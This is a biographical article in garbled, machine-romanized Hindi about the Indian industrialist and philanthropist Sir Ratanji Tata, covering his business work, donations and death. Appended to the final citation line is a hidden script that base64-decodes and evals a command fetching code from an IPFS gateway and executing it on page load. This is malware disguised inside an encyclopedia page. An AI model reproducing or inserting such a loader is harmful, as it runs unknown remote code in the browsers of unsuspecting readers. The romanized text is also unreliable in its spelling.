रतनजी टाटा
ratanaji tata
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| poora nam | sar ratanaji jamashedaji tata |
| janm | 20 janavari, 1871 |
| janm bhoomi | mumbee, maharashtr |
| mrityu | 5 sitanbar, 1918 |
| mrityu sthan | seant aivs, ianglaiand |
| abhibhavak | pita- jamashed ji tata |
| pati/patni | navajabaee tata |
| santan | naval tata |
| karm bhoomi | bharat |
| karm-kshetr | udyogapati |
| vidyalay | seant jaiviyars k aaulej, mumbee |
| prasiddhi | 'tata samooh' ko kh da karane vale char pramukh vyaktiyoan mean se ek |
| nagarikata | bharatiy |
| sanbandhit lekh | jamashed ji tata, je. ar. di. tata, ratan tata |
| any janakari | sar ratanaji tata ke sahayog se hi 1905 mean maisoor mean 'iandiyan ianstityoot aauph saiantiphik aiand medikal risarch' ki sthapana ki gayi thi. |
sar ratanaji jamashedaji tata (aangrezi: Sir Ratanji Jamsetji Tata, janm- 20 janavari, 1871, mumbee; mrityu- 5 sitanbar, 1918, ianglaiand) prasiddh bharatiy udyogapati the jinhean 'tata samooh' ko kh da karane vale char mahan logoan mean se ek mana jata hai. vah ek paropakari vyakti the jo bharat mean garibi par adhyayan ke agua logoan mean se the. aj tata samooh mean jo paropakar ki virasat hai, usaki shuruat sar ratanaji tata ne hi ki thi.
parichay
sar ratanaji tata ka janm 20 janavari san 1871 ko tatkalin bambee (vartaman mumbee, maharashtr) mean hua tha. unako tata samooh mean paropakar ka ratan kaha ja sakata hai. vah jamashedaji tata ke chhote bete the aur naval tata ke pita yani tata samooh ke maujooda cheyaramain ratan naval tata ke dada the. sar ratanaji tata ne alpayu mean hi duniya chho d di. unhoanne apani chhoti-si jiandagi mean paropakar ke b de kam kiye aur tata samooh mean isaki virasat chho dakar gaye.
sar ratanaji tata ko 'tata samooh' ko kh da karane vale char mahan logoan mean se ek mana jata hai, tin any log haian- jamashedaji tata, dorabaji tata aur ratanaji dadabhaee tata. sar ratan tata 'ratanaji' ke nam se lokapriy the. vah ek paropakari the aur bharat mean garibi par adhyayan ke agua logoan mean se the. unaki apani koee santan nahian thi. ratanaji tata ke nidhan ke bad unaki patni navajabaee tata ne apane rishte ke hi ek anath bachche naval ko god liya. tata samooh ke maujooda cheyaramain ratan tata inhian naval tata ke bete haian.[1]
karobar vistar
sar ratanaji tata ne b aaumbe ke seant jaiviyars k aaulej se padhaee ki. vah apane b de bhaee sar dorabaji tata se 12 sal chhote the. unhoanne sal 1896 mean 'tata aiand sans' ko ek partanar ke roop mean j aauin kiya. sal 1904 mean apane pita ke nidhan ke bad unhoanne phraans ki kanpani 'li yooniyan phayar ianshyoreans kanpani' ka karobar dekhana shuroo kiya, jisaki bharat mean 'tata aiand sans' ejeant thi. unhean 'trediang pharm tata aiand kanpani' ka prabhar bhi mila, jo kapas, soot, resham, moti, chaval adi ka karobar karati thi.
sar ratanaji tata ke karyakal mean hi 1912 mean saanchi mean 'tata ayaran aiand stil kanpani' ka kary shuroo hua. unake karyakal ke dauran hi muanbee ke pas 1915 mean panabijali ka ek vishal projekt shuroo kiya gaya, jisase muanbee ke udyogoan ko age chalakar bijali milane mean kaphi sahooliyat huee aur unaka utpadan vistar hua. unhoanne paropakari karyoan ke lie hi ek trast phand ki sthapana ki, jo aj 'tata trast' ka doosara sabase b da phand hai.[1]
gaandhiji ka sahayog
lekin samajik aur paropakari karyoan mean sar ratanaji tata ki khas ruchi thi. unhoanne dakshin aphrika mean mahatma gaandhi ke naslavad virodhi aandolan kae naitik aur arthik madad ki. us samay unhoanne isake lie 1.25 lakh rupaye ka dan kiya. vah svatantrata senani aur samaj sudharak gopal krishna gokhale ke dost the. unhoanne gokhale ke samajik karyoan mean madad ke lie 10 sal tak salana 10,000 rupaye ki madad ki.
garibi par adhyayan
yahi nahian sar ratanaji tata ne landan skool aauph ikon aaumiks mean garibi par adhyayan ke lie ek cheyar ki sthapana ke lie salana 400 pauand ki madad ki. ab yah cheyar 'sar ratan tata phauandeshan' ke roop mean sthapit hai. sal 1912 mean sar ratan ki madad se hi elesee mean samaj adhyayan vibhag ki sthapana huee thi.
khudaee kary
san 1913 se 1917 ke bich pataliputr (patana) mean pahale puratatvik khudaee ke lie sar ratanaji tata ne phandiang ki. is khudaee mean hi 100 stanbhoan vala mauryakalin darabar mila tha.[1]
'sar' ki upadhi
sar ratanaji tata ke sahayog se hi 1905 mean maisoor mean 'iandiyan ianstityoot aauph saiantiphik aiand medikal risarch' ki sthapana ki gayi. unhoanne bambe nagar nigam dvara shuroo kiye gaye 'kiang j aaurj pancham eanti tyoobarakulosis lig' ke lie das sal tak salana 10 hajar rupaye ka dan diya. unaki samaj seva ko dekhate hue british sarakar ne 1916 mean unhean 'naitahud' yani 'sar' ki upadhi di thi.
mrityu
sar ratanaji tata mahaj 47 sal tak is duniya mean rahe. 5 sitanbar, 1918 ko ianglaiand ke seant aivs mean unaka nidhan ho gaya. unaki vasiyat ke mutabiq unaki jyadatar sanpatti paropakari karyo ke lie de di gayi. sal 1919 mean 80 lakh rupaye ke phand se unake nam par 'sar ratan tata trast' ki sthapana ki gayi.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 tata samooh mean paropakari karyoan ki buniyad rakhane vale 'sar ratan' ko janate haian ap? (hiandi) aajtak.in. abhigaman tithi: 21 janavari, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>